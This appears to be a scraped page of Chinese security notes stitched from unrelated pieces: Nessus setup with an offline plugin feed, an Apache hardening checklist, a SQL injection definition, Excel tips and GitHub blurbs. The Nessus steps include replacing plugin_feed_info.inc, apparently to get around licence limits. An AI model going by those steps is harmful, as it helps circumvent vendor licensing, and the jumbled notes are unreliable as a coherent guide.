https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#i-10
http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/
sudo dpkg -i Nessus-8.5.2-ubuntu1110_amd64.deb
启动服务:service nessusd start
浏览器访问:https://127.0.0.1:8834/
Managed Scanner
Tenable.sc
创建用户名密码
插件加载
/opt/nessus/sbin/nessuscli fetch --challenge
浏览器访问:http://www.tenable.com/products/nessus-home
First Name 、Last Name 随意输入 ,Email 输入可以接受邮件信息的邮箱
登录https://plugins.nessus.org/offline.php
在安装目录执行all-2.0.tar.gz
文件
cd /opt/nessus/sbin
/opt/nessus/sbin/nessuscli update all-2.0.tar.gz
启动服务
systemctl start nessusd.service
替换目录
/opt/nessus/lib/nessus/plugins/plugin_feed_info.inc
/opt/nessus/var/nessus/plugin_feed_info.inc
若安装过程中出现下图,说明本机已安装Npcap,即WinPcap for Windows 10
需卸载本机Npcap,并删除文件C:\ProgramData\Tenable
、C:\Program Files\Tenable
后,运行安装包,重新进行安装
安装过程中会自动安装WinPcap,安装成功
设置用户名密码
管理员启动cmd,运行nessuscli update all-2.0.tar.gz
重新启动Nessus服务
将plugin_feed_info.inc
文件替换至目录C:\ProgramData\Tenable\Nessus\nessus
、C:\ProgramData\Tenable\Nessus\nessus\plugins
重新启动Nessus服务,登录至Web控制台
停止Tenable Nessus服务,管理员运行CMD,输入nessuscli fetch --challenge
,获取Challenge code
获取Active code,访问地址:http://www.tenable.com/products/nessus-home,First Name 、Last Name 随意输入 ,Email 输入可以接受邮件信息的邮箱
登录https://plugins.nessus.org/offline.php,输入Challenge code和Active code,下载all-2.0.tar.gz与nessus.license文件
DVWA通关手册.pdf
DVWA
Github地址
参考链接:红日攻防实验室
Apache账号不能用作常规系统登录帐户,应该分配nologin shell
确保帐号不能登录主机,该账号对应系统程序/服务/进程不受影响
加固方法:
修改apache账号使用/sbin/nologin
或/dev/null
等无效shell,界面提示信息:This account is currently not available
# chsh -s /sbin/nologin apache
Apache用户帐号不应该有修改密码权限,应通过ROOT权限账户对Apache用户帐号进行锁定
加固方法:
使用ROOT权限账户passwd
命令锁定apache账号
# passwd -l apache
设置Apache子进程用户
加固方法:
Unix系统:
如果没有设置用户和组,则新建用户,并在Apache配置文件中指定
groupadd Apache
useradd Apache –g Apache
Windows系统:
service.msc
中找到Apache服务,右键选择属性,设置登录身份为Apache用户LogLevel
配置用于设置错误日志的级别。ErrorLog
配置用于设置错误日志文件的名称/位置。日志级别值为debug
、info
、notice
、warn
、error
、crit
、alert
、emerg
加固方法:
a.在Apache配置中添加或修改LogLevel
的值,建议核心(core)模块设置为info
或debug
,其他模块设置为notice
或更低
b.通过ErrorLog
配置设置错误日志文件的名称/位置
ApacheSSLProtocol
配置指定允许的SSL和TLS协议。由于SSLv2和SSLv3协议存在涉及缺陷且易受信息泄露的攻击,故因全部禁用,只启用TLS协议
POODLE信息泄露漏洞/弱SSL加密算法/重协商漏洞
加固方法:
在Apache配置文件中添加或修改SSLProtocol
。建议禁用SSLv2
、SSLv3
、TLSv1.0
协议,配置为SSLProtocol All -SSLv2 -SSLv3
或配置为允许TLSv1.1
、TLSv1.2
协议,SSLProtocol TLSv1.1 TLSv1.2
启用SSLInsecureRenegotiation
指令会使服务器容易遭受中间人重新协商攻击(CVE-2009-3555)
加固方法:
在Apache配置文件中查找SSLInsecureRenegotiation指令。如果存在,将该值修改为off
SSLInsecureRenegotiation off
KeepAlive指令决定当处理完用户发起的 HTTP 请求后是否立即关闭 TCP 连接。若 KeepAlive
设置为 On
,则用户完成一次访问后,不会立即断开连接,如果还有请求,那么会继续在这次 TCP 连接中完成,而不需要重复建立新的 TCP 连接和关闭TCP 连接。这样可以提高用户访问速度,避免每次请求都要新建一个连接而加重服务器的负担。
加固方法:
Apache配置文件httpd.conf
中查找conf/extra/httpd-default.conf
配置文件conf/extra/httpd-default.conf
中,将KeepAlive设置为On,以启用KeepAlive连接
当KeepAlive
启用On
,MaxKeepAliveRequests
指令限制每个连接允许的请求数量。如果设置为0
,则不限制请求的数量。
加固方法:
KeepAliveTimeout指令指定在关闭持久连接(KeepAlive)前等待下一个请求的秒数。KeepAliveTimeout
的值应视网站流量及服务器配置而定
TimeOut指令控制Apache HTTP服务器等待输入/输出调用完成的最长时间
加固方法:
配置文件conf/extra/httpd-default.conf
中调整TimeOut
的值
攻击者可利用Apache版本号及其他敏感信息进行信息搜集进而实施有针对性的下一步攻击
加固方法:
Apache配置文件httpd.conf
中添加:
ServerSignature Off
ServerTokens Prod
加固方法:
在Apache配置文件httpd.conf
中注释:
# Fancy directory listings
#Include conf/extra/httpd-autoindex.conf
/web
为网站根目录,将Options Indexes FollowSymLinks
中的Indexes
去掉,可禁止 Apache 显示目录结构。Indexes 的作用就是当该目录下没有 index.html 文件时,显示目录结构。
Order
定义了allow
和deny
的生效顺序,deny排在后面代表先处理allow from
定义的允许访问的地址,其余地址均deny
。Allow from 可限制接入IP地址(白名单):Allow from 192.168.0.0/24
<Directory "/web">
Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
设置 Apache 的默认页面,编辑
httpd.conf
配置文件, 其中index.html
、index.php
、index.htm
、l.php
即为默认页面,可根据情况改为其它文件。
<IfModule dir_module>
DirectoryIndex index.html index.php index.htm l.php
</IfModule>
1.TRACE
方法可回显服务器收到的请求,主要用于测试或诊断,攻击者可通过该机制进行信息搜集
2.攻击者可通过TRACE
方法进行跨站脚本攻击
3.在站点启用了HttpOnly
头标记和禁止脚本读取Cookie
信息的情况下,攻击者仍可通过TRACE
方法绕过该限制并读取到Cookie信息
加固方法:
1.在Apache配置文件httpd.conf
中添加或修改:TraceEnable
设置为off
TraceEnable off
2.在Apache配置文件vhosts-conf
中设置
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(OPTIONS)
RewriteRule .* - [F]
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)
RewriteRule .* - [F]
vhosts-conf
如下<VirtualHost *:80>
DocumentRoot "C:\www"
ServerName www.example.com
ServerAlias example.com
<Directory "C:\www">
Options FollowSymLinks ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)
RewriteRule .* - [F]
</Directory>
</VirtualHost>
Apache AllowOverride
为ALL
则网站根目录下所有项目即可读取到.htaccess
文件(分布式配置文件),该文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。AllowOverride
为None
则.htaccess
文件无法被读取,其配置无法生效。
1.AllowOverride即允许覆盖,当AllowOverride ALL,则.htaccess配置指令生效并覆盖掉原有Apache配置指令
2.AllowOverride ALL弊端:Apache在每个目录中查找.htaccess文件会导致性能的下降。通过.htaccess文件修改apache的配置,若由于配置不当会导致不必要的安全问题
加固方法:
Apache配置文件中的中应设置:AllowOverride None
Web服务器常包含不需要或不适合线上生产环境所使用的默认CGI内容。示例程序/CGI内容的主要作用是展示Web服务器的功能。Apache安装中常见的默认CGI内容是脚本test-cgi
。该脚本将打印请求者的CGI环境变量,其中包括服务器配置细节。
加固方法:
a.通过Script
、ScriptAlias
、ScriptAliasMatch
或ScriptInterpreterSource
指令找到在Apache配置中启用的cgi-bin
文件和目录
b.删除cgi-bin
目录中的printenv
默认CGI
c.删除默认安装的Apache手册文件
如果服务器上不需要运行CGI/SSI程序,建议禁用CGI/SSI(Server Side Includes)
加固方法:
禁用CGI
修改Apache配置文件httpd.conf,把相关配置和模块都注释掉
#LoadModule cgi_module modules/mod_cgi.so
#ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
#<Directory "/var/www/cgi-bin">
# AllowOverride None
# Options None
# Order allow,deny
# Allow from all
#</Directory>
禁用SSI
修改Apache配置文件httpd.conf
,把相关模块注释掉,在“Include”前面添加减号
#LoadModule include_module modules/mod_include.so
<Directory "/var/www/html">
Options Indexes FollowSymLinks -Includes
AllowOverride None
Order allow,deny
allow from all
</Directory>
配置特定的错误页面可防止不必要的信息泄露
SQL注入(SQL injection)是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
https://websec.ca/kb/sql_injection
https://clancyb00m.github.io/2019/01/06/SQL%E6%B3%A8%E5%85%A5/
Alt+F11,进入宏界面
Sub test()
For Each cell In Range("A1:A100")
cell.Offset(0, 1) = cell.Hyperlinks(1).Address
Next
End Sub
A1:A100
为单元格区域
按F5
运行宏,在对应的右边一格出现超链接地址
语法:
VLOOKUP (lookup_value, table_array, col_index_num, [range_lookup])
VLOOKUP (查阅值、包含查阅值的区域、包含返回值的区域中的列号、近似匹配 (TRUE) 或完全匹配 (FALSE))
Tip:要固定某参数值不变,应在参数值前加
$
符
点击需输入序号的第一个单元格的上一个单元格(一般为序号列列名),该单元格名称自动输入至编辑栏中
选中在冒号前的单元格的字母和数字,按键盘的 F4 键,则Excel会自动输入“$”符号,将其变成绝对引用
若此时直接拖动,则会弹出“若要执行此操作,所有合并单元格需相同大小”的提示
应先行选择自动填充序号范围后,点击编辑栏使光标闪动,键盘输入Ctrl+Enter
表格如下,相同IP的不同端口处于同一列的多个单元格中
新建辅助列,输入公式=IF(A2=A3,B2&","&C3,B2)
右键复制并粘贴为”数值“格式
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.